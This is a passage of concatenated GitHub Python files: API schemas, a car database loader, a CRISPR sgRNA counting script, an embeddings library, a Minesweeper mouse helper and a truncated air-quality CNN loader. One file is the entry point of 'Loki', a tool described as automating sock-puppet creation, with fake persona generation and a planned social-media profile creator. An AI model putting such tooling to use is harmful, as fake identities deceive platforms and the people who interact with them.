virtool_core.models.validators import prevent_none\n\n\nclass CreateMessageRequest(BaseModel):\n color: MessageColor\n message: str\n\n\nclass UpdateMessageRequest(BaseModel):\n color: Optional[MessageColor]\n message: Optional[str]\n active: Optional[bool]\n\n _prevent_none = prevent_none(\"*\")\n\n @validator(\"active\")\n def active_must_be_false(cls, active: bool) -> bool:\n if active:\n raise ValueError(\"active can only be `False` when updating\")\n return active\n\n\nclass MessageResponse(InstanceMessage):\n class Config:\n schema_extra = {\n \"example\": {\n \"id\": 1,\n \"active\": True,\n \"color\": \"red\",\n \"message\": \"Administrative instance message\",\n \"created_at\": \"2021-11-24T19:40:03.320000Z\",\n \"updated_at\": \"2021-11-24T19:40:03.320000Z\",\n \"user\": {\"id\": \"ian\", \"handle\": \"ianboyes\", \"administrator\": True},\n }\n }\n\n\nclass CreateMessageResponse(InstanceMessage):\n class Config:\n schema_extra = {\n \"example\": {\n \"id\": 3,\n \"active\": True,\n \"color\": \"yellow\",\n \"message\": \"Third instance message\",\n \"created_at\": \"2022-11-24T19:40:03.320000Z\",\n \"updated_at\": \"2022-11-24T19:40:03.320000Z\",\n \"user\": {\"id\": \"ian\", \"handle\": \"ianboyes\", \"administrator\": True},\n }\n }\n\n\nclass UpdateMessageResponse(InstanceMessage):\n class Config:\n schema_extra = {\n \"example\": {\n \"id\": 3,\n \"active\": True,\n \"color\": \"red\",\n \"message\": \"Changed the third instance message\",\n \"created_at\": \"2022-11-24T19:40:03.320000Z\",\n \"updated_at\": \"2022-11-24T19:40:03.320000Z\",\n \"user\": {\"id\": \"ian\", \"handle\": \"ianboyes\", \"administrator\": True},\n }\n }\n","repo_name":"virtool/virtool","sub_path":"virtool/messages/oas.py","file_name":"oas.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"52"} +{"seq_id":"23196479139","text":"from dz.cars.database import create_db, Session\nfrom dz.cars.cars_title import Title\nfrom dz.cars.car_models import Models\n\n\ndef create_database():\n create_db()\n load_data(Session())\n\n\ndef load_data(session):\n cars = [\"BMW\", \"Ford\", \"Opel\"]\n models = [{\"model\": \"x5\", \"color\": \"black\", \"price\": 1000},\n {\"model\": \"mondeo\", \"color\": \"blue\", \"price\": 2000},\n {\"model\": \"insigma\", \"color\": \"red\", \"price\": 3000}\n ]\n\n for item in cars:\n title = Title(title=item)\n session.add(title)\n\n for item in models:\n model = Models(model=item[\"model\"])\n session.add(model)\n color = Models(color=item[\"color\"])\n session.add(color)\n price = Models(price=item[\"price\"])\n session.add(price)\n\n session.commit()\n session.close()","repo_name":"Helen-prog/Python327","sub_path":"dz/db_creator.py","file_name":"db_creator.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11065545029","text":"#!/usr/bin/env python3\nimport pandas as pd\nimport argparse\nfrom pathlib import Path\nfrom AmpliconPE import (\n MasterRead,\n BarcodeSet,\n get_PE_FASTQs,\n pairedFASTQiter,\n logPrint,\n)\n\n\n# AGCTTGTGGAAAGGACGAAACACCG GGGGACGGATCCTGGACATG\n# TTTTAGAGCTAGAAATAGCAAGTTAAAATAAGGCTAGTCCGTTATCAACTTGAAAAAGTGGCACCGAGTCGGTGCTTTTTTGTATTATAAATCTAAGTCTTTAAA\nfull_amplicon = (\n \"AGCTTGTGGAAAGGACGAAACACCG\"\n + 20 * \"N\"\n + \"TTTTAGAGCTAGAAATAGCAAGTTAAAATAAGGCTAGTCCGTTATCAACTTGAAAAAGTGGCACCGAGTCGGTGCTTTTTTGTATTATAAATCTAAGTCTTTAAA\"\n)\n\nFLANK_LENGTH = 12\n\ndefault_master_read = full_amplicon[\n full_amplicon.find(\"N\")\n - FLANK_LENGTH : full_amplicon.rindex(\"N\")\n + 1\n + FLANK_LENGTH\n]\n\nparser = argparse.ArgumentParser(\n description=\"\"\"Determines sgRNA counts from Paired-End Brunello library reads.\"\"\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n)\n\n############################## Input #########################################\nIO_group = parser.add_argument_group(\"IO\", \"Input/Output Optional Arguments\")\n\nIO_group.add_argument(\n \"--FASTQ_directory\",\n type=Path,\n default=Path(\"FASTQs\"),\n help=\"Iterates over all FASTQs in directory\",\n)\n\nIO_group.add_argument(\n \"--sgRNA_file\",\n type=Path,\n default=\"broadgpp-brunello-library-contents.txt\",\n help=\"All sgRNAs used and their corresponding identifiers.\",\n)\n\nIO_group.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"Output more Info\")\n\nIO_group.add_argument(\n \"--output\", type=Path, default=Path(\"output.h5\"), help=\"Name of HDF5 output store.\"\n)\n\nIO_group.add_argument(\n \"--master_read\",\n type=str,\n default=default_master_read,\n help=\"Non-degenerate amplicon sequence expected\",\n)\n\nOP_group = parser.add_argument_group(\"OP\", \"Optional arguments affecting operation\")\n\nOP_group.add_argument(\n \"--min_align_score\",\n type=float,\n default=0.75,\n help=\"Minimum alignment score needed to keep read, Range [0, 1).\",\n)\n\nOP_group.add_argument(\n \"--mismatches_tolerated\",\n type=int,\n default=1,\n help=\"# of mismatches tolerated in sgRNA\",\n)\n\nOP_group.add_argument(\n \"-p\", \"--parallel\", action=\"store_true\", help=\"Parallelize operation.\"\n)\n\nargs = parser.parse_args()\n\nLog = logPrint(args)\nif args.parallel:\n from pmap import pmap as map\n\n\ndirectories = [name for name in args.FASTQ_directory.iterdir() if name.is_dir()]\n\n\n## Setup sgRNA_map\n\n# Data Table can be found at: https://www.addgene.org/static/cms/filer_public/8b/4c/8b4c89d9-eac1-44b2-bb2f-8fea95672705/broadgpp-brunello-library-contents.txt\n#\n# Sample data:\n#\n# Target Gene ID 1.0 1.0 ... NaN NaN\n# Target Gene Symbol A1BG A1BG ... Non-Targeting Control Non-Targeting Control\n# Target Transcript NM_130786.3 NM_130786.3 ... NaN NaN\n# Genomic Sequence NC_000019.10 NC_000019.10 ... NaN NaN\n# Position of Base After Cut (1-based) 58351502.0 58350637.0 ... NaN NaN\n# Strand sense antisense ... NaN NaN\n# sgRNA Target Sequence CATCTTCTTTCACCTGAACG CTCCGGGGAGAACTCCGGCG ... TTTTTAATACAAGGTAATCT TTTTTCTCACCCGATGAATC\n# Target Context Sequence ATCGCATCTTCTTTCACCTGAACGCGGTGG CCGGCTCCGGGGAGAACTCCGGCGCGGGCA ... NaN NaN\n# PAM Sequence CGG CGG ... NaN NaN\n# Exon Number 5.0 6.0 ... NaN NaN\n# Rule Set 2 score 0.617\n\nko_library = pd.read_csv(\n args.sgRNA_file, sep=\"\\t\", index_col=[\"sgRNA Target Sequence\"]\n)[\"Target Gene Symbol\"]\n\n\nsgRNA_map = BarcodeSet(\n ko_library.index\n + \"_\"\n + ko_library, # Hard to mint simple names...Gene Symbol are non-unique & target sequences are uninformative\n n_mismatches=args.mismatches_tolerated,\n robust=True,\n)\n\noverlapping = sum(map(lambda v: len(list(v)) > 1, sgRNA_map.values()))\n\nLog(\n f\"{overlapping} of {len(sgRNA_map) - len(ko_library)} sgRNA mismatches overlap ({overlapping/(len(sgRNA_map) - len(ko_library)):.2%}).\"\n)\n\nmaster_read = MasterRead(args.master_read)\n\n\ndef derep_barcodes(directory):\n import numpy as np\n from collections import Counter\n\n pileups = Counter()\n scores = np.zeros(master_read.max_score + 1, dtype=np.int64)\n min_int_score = int(args.min_align_score * master_read.max_score)\n\n file_pair = get_PE_FASTQs(directory)\n fastq_iter = pairedFASTQiter(*file_pair)\n for fwd_dna, rev_dna in fastq_iter:\n\n double_alignment = master_read.align(fwd_dna, rev_dna)\n double_alignment.print_cigars()\n scores[double_alignment.score] += 1\n if double_alignment.score <= min_int_score:\n continue\n\n sgRNA = double_alignment.extract_barcode()\n if sgRNA == \"Length Mismatch\":\n continue\n\n print(fwd_dna)\n print(rev_dna)\n print(sgRNA)\n # print(f\"extracted {sgRNA} -> {sgRNA_map.get(sgRNA, 'Unknown')}\")\n pileups[sgRNA_map.get(sgRNA, \"Unknown Target\")] += 1\n\n poor_alignment = scores[:min_int_score].sum()\n lost = {\n \"Poor Alignment\": poor_alignment,\n \"Length Mismatch\": pileups.sum() - poor_alignment,\n \"Index Mismatch\": fastq_iter.index_mismatch,\n }\n return pileups, lost, pd.Series(scores)\n\n\noutputs = map(derep_barcodes, directories)\n\n\noutput_dfs = [\n pd.concat(\n {\n str(name): output_S\n for name, output_S in zip(directories, output_set)\n if len(output_S) > 0\n },\n names=[\"Sample\"],\n axis=0,\n )\n for output_set in zip(*list(outputs))\n]\n\n\n###############################################################################\n# Output\n###############################################################################\n\nstore = pd.HDFStore(args.output, \"w\", complevel=9)\nfor name, df in zip([\"pileups\", \"lost\", \"scores\"], output_dfs):\n if name == \"pileups\":\n df.index.names = \"Sample\", \"target\", \"barcode\"\n store.put(name, df)\nstore.close()\n","repo_name":"cancerevo/AmpliconPE","sub_path":"bin/old/Brunello.py","file_name":"Brunello.py","file_ext":"py","file_size_in_byte":6777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9265569188","text":"#!/usr/bin/env python3\nimport argparse\nfrom core.colours import green, end, bad, yellow, white, sarcastic\nfrom core.simple import * \nfrom core.simplewithpic import maininfogather\n\n\nversion = '0.0.1'\n\ndef args_func():\n parser = argparse.ArgumentParser(description=\"The Loki Framework v\" + version, epilog=\"Automate Sock Puppet Creation\")\n parser.add_argument('-s','--simple',help='Simple Information Generator', dest='simple', action='store_true')\n parser.add_argument('-sp','--simplewithpic',help='Simple Information Generation with Pic', dest='simplewithpic', action='store_true')\n parser.add_argument('-p','--profession',help='Specify the Profession beforehand', dest='profession')\n parser.add_argument('-soc','--social-create',help='Simple Information Generation with Pic & Create Profiles on Facebook, Instagram, TikTok', dest='socialmedia', action='store_true')\n parser.add_argument('-g','--gender',choices=['male', 'female'], help='Specify the gender of the sock puppet', dest='gender')\n parser.add_argument('-b', help='Print the banner', dest='bannerfunction', action='store_true')\n return parser.parse_args()\n\ndef bannerfunction():\n banner()\n\ndef banner():\n print('''%s\n The %s _____ _ _ _____\n | | | |____/ | %s\n |_____ |_____| | \\_ __|__\n %sFramework v%s %s\\n''' % (white, green, yellow, white, version, end))\n\ndef main():\n args = args_func()\n \n if args.simple == True:\n if args.gender == 'male':\n if args.profession is not None:\n banner()\n simpleinfogathermalewithprofession(args.profession)\n else:\n banner()\n simpleinfogathermale()\n \n elif args.gender == 'female':\n if args.profession is not None:\n banner()\n simpleinfogatherfemalewithprofession(args.profession)\n else:\n banner()\n simpleinfogatherfemale()\n\n elif args.profession is not None:\n banner()\n simplewithprofession(args.profession)\n \n else:\n banner()\n simpleinfogather()\n\n elif args.simplewithpic == True:\n banner()\n maininfogather() \n \n elif args.profession is not None:\n banner()\n simplewithprofession(args.profession)\n\n elif args.bannerfunction == True:\n bannerfunction()\n elif args.socialmedia == True:\n banner()\n print('This feature is coming soon !!')\n\n else:\n banner()\n help_statement = \"Use '-h' or '--help' to see the options\"\n exit('\\n%s No argument(s) specified. ' % bad + help_statement + '\\n')\n \n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n exit('\\n%sExiting\\n' % sarcastic)\n","repo_name":"malwaredojo/loki","sub_path":"loki/loki.py","file_name":"loki.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"52"} +{"seq_id":"5798363453","text":"import warnings\nfrom abc import ABC, abstractmethod\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Type, Union\n\nimport gensim.downloader as api\nimport numpy as np\nimport spacy\nfrom gensim.models import Word2Vec\nfrom numpy.linalg import norm\nfrom scipy.spatial.distance import cdist\nfrom sentence_transformers import SentenceTransformer\nfrom spacy.cli import download as spacy_download\nfrom tqdm import tqdm\n\nfrom relatio.supported_models import LANGUAGE_MODELS\nfrom relatio.utils import count_words\n\n\nclass EmbeddingsBase(ABC):\n @abstractmethod\n def _get_default_vector(self, phrase: str) -> np.ndarray:\n pass\n\n\nclass Embeddings(EmbeddingsBase):\n \"\"\"\n If sentences is used in the constructor the embeddings are weighted by the smoothed inverse frequency of each token.\n For further details, see: https://github.com/PrincetonML/SIF\n\n Args:\n embeddings_type: The type of embeddings to use. Supported types are: \"SentenceTransformer\", \"GensimWord2Vec\", \"GensimPretrained\", \"spaCy\"\n embeddings_model: The model to use. Supported models are: \"all-MiniLM-L6-v2\", \"distiluse-base-multilingual-cased-v2\", \"whaleloops/phrase-bert\", \"fasttext-wiki-news-subwords-300\", \"word2vec-google-news-300\", \"glove-wiki-gigaword-50\", \"glove-wiki-gigaword-100\", \"glove-wiki-gigaword-200\", \"glove-wiki-gigaword-300\", \"glove-twitter-25\", \"glove-twitter-50\", \"glove-twitter-100\", \"glove-twitter-200\", \"en_core_web_sm\", \"en_core_web_md\", \"en_core_web_lg\", \"fr_core_news_sm\", \"fr_core_news_md\", \"fr_core_news_lg\"\n normalize: Whether to normalize the vectors to unit length\n sentences: A list of sentences to use for weighting the embeddings by the smoothed inverse frequency of each token\n alpha: The smoothing parameter for the smoothed inverse frequency of each token\n\n Examples:\n >>> model = Embeddings(\"spaCy\", \"en_core_web_md\")\n >>> np.isnan(model.get_vector(\"\")).any()\n True\n >>> model.get_vector(\"hello world\").shape\n (300,)\n >>> norm(model.get_vector(\"hello world\")) < 1.001\n True\n >>> model = Embeddings(\"spaCy\", \"en_core_web_md\", normalize=False)\n >>> norm(model.get_vector(\"hello world\")) < 1.001\n False\n >>> model = Embeddings(\"GensimPretrained\", \"glove-twitter-25\")\n >>> model.get_vector(\"world\").shape\n (25,)\n >>> model = Embeddings(\"GensimPretrained\", \"glove-twitter-25\", sentences = [\"this is a nice world\",\"hello world\",\"hello everybody\"])\n >>> model.get_vector(\"hello world\").shape\n (25,)\n \"\"\"\n\n def __init__(\n self,\n embeddings_type: str,\n embeddings_model: Union[Path, str],\n normalize: bool = True,\n sentences: Optional[List[str]] = None,\n alpha: float = 0.001,\n **kwargs,\n ) -> None:\n EmbeddingsClass: Union[\n Type[GensimWord2VecEmbeddings],\n Type[GensimPreTrainedEmbeddings],\n Type[spaCyEmbeddings],\n Type[SentenceTransformerEmbeddings],\n ]\n if embeddings_type == \"SentenceTransformer\":\n EmbeddingsClass = SentenceTransformerEmbeddings\n elif embeddings_type == \"GensimWord2Vec\":\n EmbeddingsClass = GensimWord2VecEmbeddings\n elif embeddings_type == \"GensimPretrained\":\n EmbeddingsClass = GensimPreTrainedEmbeddings\n elif embeddings_type == \"spaCy\":\n EmbeddingsClass = spaCyEmbeddings\n else:\n raise ValueError(f\"Unknown embeddings_type={embeddings_type}\")\n\n self._embeddings_model = EmbeddingsClass(embeddings_model, **kwargs)\n self._normalize: bool = normalize\n if sentences is not None:\n self._sif_dict = self.compute_sif_weights(sentences=sentences, alpha=alpha)\n self._use_sif = True\n else:\n self._sif_dict = {}\n self._use_sif = False\n\n if embeddings_type != \"GensimWord2Vec\":\n self._size_vectors = LANGUAGE_MODELS[embeddings_model][\"size_vectors\"]\n else:\n self._size_vectors = self._embeddings_model.size_vectors\n\n @property\n def normalize(self) -> bool:\n return self._normalize\n\n @property\n def use_sif(self) -> bool:\n return self._use_sif\n\n @property\n def size_vectors(self) -> int:\n return self._size_vectors\n\n # One cannot add a setter since it is added next to the child classes\n def get_vector(self, phrase: str) -> Optional[np.ndarray]:\n tokens = phrase.split()\n\n if self.use_sif:\n for token in tokens:\n if token not in self._sif_dict:\n warnings.warn(\n f\"No frequency information for token: {token}. Its corresponding weight is 1.0.\",\n RuntimeWarning,\n )\n res = np.sum(\n [\n self._sif_dict[token] * self._get_default_vector(token)\n for token in tokens\n ],\n axis=0,\n )\n else:\n res = self._get_default_vector(phrase)\n\n # In case the result is fishy it will return a vector of np.nans and raise a warning\n if np.isnan(res).any() or np.count_nonzero(res) == 0:\n warnings.warn(\n f\"Unable to compute an embedding for phrase: {phrase}.\", RuntimeWarning\n )\n a = np.empty((self.size_vectors,))\n a[:] = np.nan\n\n return a\n\n if self.normalize:\n return res / norm(res)\n else:\n return res\n\n def _get_default_vector(self, phrase: str) -> np.ndarray:\n return self._embeddings_model._get_default_vector(phrase)\n\n # This will require refactoring for speed (in the case of spacy and USE)\n def get_vectors(self, phrases: str, progress_bar: bool = False) -> np.ndarray:\n if progress_bar:\n print(\"Computing phrase embeddings...\")\n phrases = tqdm(phrases)\n\n vectors_list = []\n for i, phrase in enumerate(phrases):\n vector = self.get_vector(phrase)\n vectors_list.append(np.array([vector]))\n vectors = np.concatenate(vectors_list)\n return vectors\n\n @staticmethod\n def compute_sif_weights(sentences: List[str], alpha: float) -> Dict[str, float]:\n \"\"\"\n A function that computes smooth inverse frequency (SIF) weights based on word frequencies.\n (See \"Arora, S., Liang, Y., & Ma, T. (2016). A simple but tough-to-beat baseline for sentence embeddings.\")\n The sentences are used to build the counter dictionary {\"word\": frequency} which is further used to compute the sif weights. If the word is not in the dictionary, 1 is returned.\n Args:\n sentences: a list of sentences\n alpha: regularization parameter\n Returns:\n A dictionary {\"word\": SIF weight}\n \"\"\"\n words_counter = count_words(sentences)\n\n sif_dict = defaultdict(lambda: 1.0)\n\n for word, count in words_counter.items():\n sif_dict[word] = alpha / (alpha + count)\n\n return sif_dict\n\n\nclass spaCyEmbeddings(EmbeddingsBase):\n def __init__(self, model: str) -> None:\n if not spacy.util.is_package(model):\n spacy_download(model)\n self._nlp = spacy.load(\n model, disable=[\"tagger\", \"parser\", \"attribute_ruler\", \"lemmatizer\", \"ner\"]\n )\n\n def _get_default_vector(self, phrase: str) -> np.ndarray:\n return np.array(self._nlp(phrase).vector)\n\n\nclass SentenceTransformerEmbeddings(EmbeddingsBase):\n \"\"\"\n Choose your favorite model from https://www.sbert.net/docs/pretrained_models.html\n\n Args:\n path: path to the model\n \"\"\"\n\n def __init__(self, path: str = \"all-MiniLM-L6-v2\") -> None:\n self._model = SentenceTransformer(path)\n\n def _get_default_vector(self, phrase: str) -> np.ndarray:\n return self._model.encode(phrase)\n\n\nclass GensimWord2VecEmbeddings(EmbeddingsBase):\n def __init__(self, path: str):\n self._model = self._load_keyed_vectors(path)\n self._vocab = self._model.key_to_index\n self.size_vectors = self._model[list(self._vocab)[0]].shape[0]\n\n def _load_keyed_vectors(self, path):\n return Word2Vec.load(path).wv\n\n def _get_default_vector(self, phrase: str) -> np.ndarray:\n tokens = phrase.split()\n embeddable_tokens = []\n for token in tokens:\n if token in self._vocab:\n embeddable_tokens.append(token)\n else:\n warnings.warn(\n f\"No vector for token: {token}. It is not used to compute the embedding of: {phrase}.\",\n RuntimeWarning,\n )\n res = np.mean([self._model[token] for token in embeddable_tokens], axis=0)\n return res\n\n\nclass GensimPreTrainedEmbeddings(GensimWord2VecEmbeddings, EmbeddingsBase):\n\n \"\"\"\n A class to call a pre-trained embeddings model from gensim's library.\n # The list of pre-trained embeddings may be browsed by typing:\n import gensim.downloader as api\n list(api.info()['models'].keys())\n \"\"\"\n\n def __init__(self, model: str):\n self._model = self._load_keyed_vectors(model)\n self._vocab = self._model.key_to_index\n\n def _load_keyed_vectors(self, model):\n return api.load(model)\n\n\ndef _compute_distances(vectors1, vectors2):\n \"\"\"\n Compute pairwise distances of columns between two numpy arrays.\n \"\"\"\n distances = cdist(vectors1, vectors2, metric=\"euclidean\")\n return distances\n\n\ndef _get_min_distances(distances):\n \"\"\"\n Returns the minimum distance per column.\n \"\"\"\n return np.min(distances, axis=1)\n\n\ndef _get_index_min_distances(distances):\n \"\"\"\n Returns the index of the minimum distance per column.\n \"\"\"\n return np.argmin(distances, axis=1)\n\n\ndef _embeddings_similarity(vectors1, vectors2, threshold: float = 100):\n \"\"\"\n Computes the pairwise distances between two numpy arrays,\n keeps minimum distances which are below the threshold and returns\n two arrays of indices:\n - index are the columns which satisfy the threshold requirement\n - index_min_distances are their associated index for the minimum distance\n \"\"\"\n distances = _compute_distances(vectors1, vectors2)\n index_min_distances = _get_index_min_distances(distances)\n min_distances = _get_min_distances(distances)\n index = list(np.where(min_distances <= threshold))[0]\n index_min_distances = index_min_distances[index]\n return index, index_min_distances\n","repo_name":"relatio-nlp/relatio","sub_path":"relatio/embeddings.py","file_name":"embeddings.py","file_ext":"py","file_size_in_byte":10651,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"52"} +{"seq_id":"12591323789","text":"import time\nimport msvcrt\nimport threading\nfrom pynput import mouse\nfrom threading import Timer\n\nimport maus\n\n\ndef exists(var):\n return var in globals()\n\n\ndef wait_func(t=5):\n print(f'Wait {t:.1f} sec')\n for i in range(round(t*10), 0, -1):\n if msvcrt.kbhit():\n # key = msvcrt.getch()\n pressed = True\n break\n print(f'\\b\\b\\b{i/10:.1f}', end='')\n time.sleep(0.1)\n print('\\b\\b\\b', end='')\n\n # if pressed:\n # print('Wait for key press')\n # k = False\n # while not k:\n # k = msvcrt.kbhit()\n\n\ndef solver_human(matrix):\n \"\"\"\n Передает управление человеку, если нет ходов\n :param matrix:\n :return:\n \"\"\"\n\n\n def on_click(x, y, button, pressed):\n nonlocal t\n # pressed = True при нажатии кнопики мыщи и\n # pressed = False при отпускании\n if not pressed:\n # Когда мы возвращаем False, когда хотим остановить listener thread:\n # конструкция with listener: завершается\n global xx, yy, bb\n xx = x\n yy = y\n bb = button\n\n print('User click mouse', f'{xx}, {yy}, {bb}')\n\n point = (xx, yy)\n cell = matrix.cell_by_abs_coords(point)\n if cell:\n return False\n else:\n print('Click out of field')\n t.cancel()\n t = Timer(5, mouse_thread.stop)\n t.start()\n\n def on_move(x, y):\n # print('Pointer moved to {0}'.format((x, y)))\n pass\n\n def on_scroll(x, y, dx, dy):\n # print('Scrolled {0} at {1}'.format('down' if dy < 0 else 'up', (x, y)))\n pass\n\n def win32_event_filter(msg, data):\n # msg = 512 move\n # msg = 513 left click\n # msg = 516 right click\n # data.pt.x and y - coordinates\n # data has unknown but probably useful flag attribute\n if msg in [513, 516]:\n # Тут мы смотрим на все события мыши.\n # Если событие - это нажатие кнопки, то мы его не передаем дальше в систему (suppress)\n mouse_thread.suppress_event()\n\n # x = threading.Thread(target=wait_func(), args=(), daemon=True)\n # x.start()\n\n print('Start mouse listen: wait your move 5 sec')\n\n mouse_thread = mouse.Listener(\n on_move=on_move,\n on_click=on_click,\n on_scroll=on_scroll,\n win32_event_filter=win32_event_filter\n )\n\n def showing():\n print('.')\n\n my_thread = threading.Thread(target=showing, args=())\n with mouse_thread:\n t = Timer(5, mouse_thread.stop)\n t.start()\n mouse_thread.join()\n my_thread.start()\n\n\n\n\n\n # t.cancel()\n\n if exists('xx'):\n\n print('User click mouse', f'{xx}, {yy}, {bb}')\n\n point = (xx, yy)\n cell = matrix.cell_by_abs_coords(point)\n if cell:\n if bb == mouse.Button.left:\n action = maus.OPEN\n elif bb == mouse.Button.right:\n action = maus.FLAG\n else:\n exit('Error: That mouse button is not assigned.')\n return [cell], action\n else:\n print('Нажато за пределами поля')\n\n else:\n\n print('No action from human')\n from .solver_R1 import solver_R1\n return solver_R1(matrix)\n\n\n\n # exit()\n # return [], None\n\n\n\n\n","repo_name":"swasher/minesweeper","sub_path":"solver/solver_human_almost_work.py","file_name":"solver_human_almost_work.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34649829509","text":"import tensorflow as tf\nimport numpy as np\nimport sys\nsys.path.append('../models')\nimport math\nfrom deep_learning.cnns.simple_cnn import SimpleCNNModel\nfrom deep_learning.cnns.dehaze_net import DehazeNetModel\nfrom deep_learning.cnns.AQP_vgg import AQPVGGModel\nfrom deep_learning.cnns.AQP_ResNet import AQPResNetModel\nfrom tensorflow.contrib.data import Dataset, Iterator\nimport tensorflow.contrib.slim as slim\n\nIMG_HEIGHT = 240\nIMG_WIDTH = 320\n\nmeta_data_names = ['filePath', 'webcamId', 'webcamLat', 'webcamLong', 'year', 'date', 'hour', 'range', 'pmValue']\ndark_channel_names = ['Dark_Channel_' + str(i) for i in range(0, 100)]\natmospheric_light_names = ['Atmospheric_Light_' + str(i) for i in range(0, 3)]\ntransmission_names = ['Transmission_' + str(i) for i in range(0, 100)]\nsaturation_names = ['Saturation_1','Saturation_2','Saturation_3','Saturation_4','Saturation_5','Saturation_6','Saturation_7','Saturation_8','Saturation_9','Saturation_10']\ncontrast_names = ['Contrast_1']\npower_spectrum_names = ['PS_1','PS_2','PS_3','PS_4','PS_5','PS_6','PS_7','PS_8','PS_9','PS_10']\nweather_features = ['dir', 'spd', 'temp', 'dewpt', 'slp', 'rhx']\ncolumn_names_with_weather_features = meta_data_names + weather_features\ncolumn_names_with_haze_features = meta_data_names + dark_channel_names + atmospheric_light_names + transmission_names + saturation_names + contrast_names + power_spectrum_names\nall_column_names = meta_data_names + dark_channel_names + atmospheric_light_names + transmission_names + saturation_names + contrast_names + power_spectrum_names + weather_features\n\ndef parse_example(example_proto):\n\tfeature_dict = {\n\t\t'filePath': tf.FixedLenFeature([], tf.float32),\n\t\t'image': tf.FixedLenFeature([], tf.string),\n\t\t'orig_height': tf.FixedLenFeature([], tf.int64),\n\t\t'orig_width': tf.FixedLenFeature([], tf.int64)}\n\tparsed_features = tf.parse_single_example(example_proto, features=feature_dict)\n\tpmValue = parsed_features['filePath']\n\trgb_image = tf.decode_raw(parsed_features['image'], tf.float64)\n\theight = tf.cast(parsed_features['orig_height'], tf.int32)\n\twidth = tf.cast(parsed_features['orig_width'], tf.int32)\n\trgb_image = tf.reshape(rgb_image, [1, height, width, 3])\n\trgb_image = tf.image.resize_image_with_crop_or_pad(rgb_image, target_height=480, target_width=480) * 255\n\trgb_image = tf.reshape(tf.image.resize_area(rgb_image, [224+15, 224+15]), [224+15, 224+15, 3])\n\treturn rgb_image, pmValue\n\ndef parse_example_vgg(example_proto):\n\tfeature_dict = {\n\t\t'filePath': tf.FixedLenFeature([], tf.float32),\n\t\t'image': tf.FixedLenFeature([], tf.string),\n\t\t'orig_height': tf.FixedLenFeature([], tf.int64),\n\t\t'orig_width': tf.FixedLenFeature([], tf.int64)}\n\tparsed_features = tf.parse_single_example(example_proto, features=feature_dict)\n\tpmValue = parsed_features['filePath']\n\trgb_image = tf.decode_raw(parsed_features['image'], tf.float64)\n\theight = tf.cast(parsed_features['orig_height'], tf.int32)\n\twidth = tf.cast(parsed_features['orig_width'], tf.int32)\n\trgb_image = tf.reshape(rgb_image, [1, height, width, 3])\n\trgb_image = tf.image.resize_image_with_crop_or_pad(rgb_image, target_height=480, target_width=480) * 255\n\trgb_image = tf.reshape(tf.image.resize_area(rgb_image, [224, 224]), [224, 224, 3])\n\treturn rgb_image, pmValue\n\ndef parse_example_ResNet(example_proto):\n\tfeature_dict = {\n\t\t'filePath': tf.FixedLenFeature([], tf.float32),\n\t\t'image': tf.FixedLenFeature([], tf.string),\n\t\t'orig_height': tf.FixedLenFeature([], tf.int64),\n\t\t'orig_width': tf.FixedLenFeature([], tf.int64)}\n\tparsed_features = tf.parse_single_example(example_proto, features=feature_dict)\n\tpmValue = parsed_features['filePath']\n\trgb_image = tf.decode_raw(parsed_features['image'], tf.float64)\n\theight = tf.cast(parsed_features['orig_height'], tf.int32)\n\twidth = tf.cast(parsed_features['orig_width'], tf.int32)\n\trgb_image = tf.reshape(rgb_image, [1, height, width, 3])\n\trgb_image = tf.image.resize_image_with_crop_or_pad(rgb_image, target_height=480, target_width=480) * 255\n\trgb_image = tf.reshape(tf.image.resize_area(rgb_image, [224, 224]), [224, 224, 3])\n\treturn rgb_image, pmValue\n\nclass AQPModel(object):\n\tdef __init__(self,\n\t\t\t\t\tsess,\n\t\t\t\t\tbatch_size,\n\t\t\t\t\tstage_of_development,\n\t\t\t\t\tlearning_rate_decay_factor,\n\t\t\t\t\ttype_of_model,\n\t\t\t\t\tsummary_dir,\n\t\t\t\t\texperiment_folder, \n\t\t\t\t\ttype_of_optimizer,\n\t\t\t\t\tnum_of_classes,\n\t\t\t\t\ttotal_num_of_training_examples,\n\t\t\t\t\tdropout=0.5,\n\t\t\t\t\tmodel_path=None,\n\t\t\t\t\tbeta1=0.9,\n\t\t\t\t\tbeta2=0.999,\n\t\t\t\t\tmin_bins=None,\n\t\t\t\t\tmax_bins=None,\n\t\t\t\t\tlist_of_tfrecords_for_training=None,\n\t\t\t\t\tlist_of_tfrecords_for_evaluation=None,\n\t\t\t\t\ttraining_with_eval=False,\n\t\t\t\t\tdict_of_filePath_to_num_of_examples_in_tfrecord=None):\n\n\t\tself.training_batch_size = 0\n\t\tself.batch_size = batch_size\n\t\tself.list_of_tr_datasets = []\n\t\tself.list_of_eval_datasets = []\n\t\tprint(\"Training with dev\", training_with_eval)\n\t\tprint(sorted(list(dict_of_filePath_to_num_of_examples_in_tfrecord.keys())))\n\n\t\tif stage_of_development == \"training\":\n\t\t\tfor tfrecord_for_training_example_ in list_of_tfrecords_for_training:\n\t\t\t\tcurrent_tr_data = tf.contrib.data.TFRecordDataset(tfrecord_for_training_example_)\n\t\t\t\tif type_of_model == 'VGG':\n\t\t\t\t\tcurrent_tr_data = current_tr_data.map(parse_example_vgg)\n\t\t\t\telif type_of_model == 'ResNet':\n\t\t\t\t\tcurrent_tr_data = current_tr_data.map(parse_example_ResNet)\n\t\t\t\telse:\n\t\t\t\t\tcurrent_tr_data = current_tr_data.map(parse_example)\n\t\t\t\tcurrent_tr_data = current_tr_data.shuffle(buffer_size=20000)\n\t\t\t\tcurrent_tr_data = current_tr_data.repeat()\n\t\t\t\tcurrent_tfrecord_batch_size = 